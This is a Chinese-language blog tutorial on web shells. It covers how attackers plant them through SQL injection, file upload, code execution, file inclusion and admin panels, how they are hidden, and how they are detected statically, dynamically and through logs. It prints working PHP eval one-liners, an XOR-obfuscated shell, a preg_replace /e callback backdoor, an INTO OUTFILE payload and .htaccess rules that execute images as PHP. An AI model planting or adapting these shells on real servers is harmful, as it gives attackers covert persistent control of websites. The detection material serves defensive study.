Web安全之:WebShell的获取与查杀

0x00 什么是webshell

攻击者以asp、php、jsp等网页文件形式保存在Web服务器上的一种命令执行环境,也可称为网页后门。
攻击者使用浏览器访问webshell,得到一个命令执行环境,以达到控制网站或服务器的目的

0x01 如何获取webshell

利用网站的文件操作漏洞将webshell写入网站目录中

SQL注入

利用条件:
  • 当前mysql用户拥有FILE权限
  • 网站未对单引号进行转义
payload:
select `<?php eval($_POST['test'])?>` into outfile '/var/www/test.php';

上传漏洞

利用条件

文件上传操作如头像、评论等,对用户上传文件过滤不严格,上传机制可被绕过,导致脚本文件的上传

任意代码执行

利用条件

用户传入参数被服务器脚本以源码方式执行
可直接插入恶意代码或利用脚本对应的文件写入操作写入webshell

任意文件包含漏洞

利用条件

网站动态包含配置文件
包含图片、日志文件等执行恶意代码

后台功能

利用条件

获取并进入网站后台管理界面,具有对网站文件写入与修改、数据库或文件备份、文件上传等权限

webshell收集

GitHub:WebShell收集项目

0x02 webshell的隐藏

  • 文件包含

    服务器内某访问量小、对网站影响小脚本文件中加入include(‘/upload/xx.jpg’);包含所上传的webshell文件

  • 命名:命名、存放位置具有诱惑性 : /admin/help.php

  • 改变编码格式
<?php@$_++;$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
#利用异或运算:<?php @$_POST[0]($_POST[1])?>   xxx=eval($_POST[1]);
  • callback函数
<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>

cmd=<title>{${phpinfo()}}</tile>
  • 修改已有脚本代码

    在网站访问量小、不影响网站功能的脚本文件中加入一句话木马等

  • .htaccess文件

    当服务器开启.htaccess文件解析可在upload文件夹内创建.htaccess文件写入下面内容

AddType application/x-httpd-php .jpg
<Files demo.jpg>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>



在下学识浅薄,请诸位大神补充,感激不尽

0x03 webshell检测

webshell运行流程

hacker -> HTTP Protocol -> Web Server -> CGI
webshell为一个合法的http连接,在TCP/IP的应用层之下没有任何特征(谁知道呢)只能进行应用层检测

检测方式

静态检测

匹配文件特征码、特征值、危险函数eval等来查找webshell
依据特征码弱强特征,结合人工判断,可减少漏报误报概率
利用文件系统的属性判断,无缘无故多出的nobody属性文件必定有问题(Apache是nobody启动)

弱点: 漏报误报率较高,无法查杀变种及0day型
动态监测

依据webshell文件执行表现的特征即动态特征,如菜刀操作的特征

webshell命令执行时必会创建bash或IIS User启动cmd 由PID进程号定位webshell

http异常模型检测,检测若有有用户访问一个从未访问过的文件并得到200响应,很容易定位webshell

修改内核,hook一些危险函数eval、asset,重新编译php;

弱点:降低php性能及业务性能

日志检测

webshell访问特征
- 少量ip发起fangwen
- 总访问次数少
- 该页面属于孤立页面

干扰数据:

管理后台等正常孤立页面
扫描器行为

0x04 有待补充

over

  • 7
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值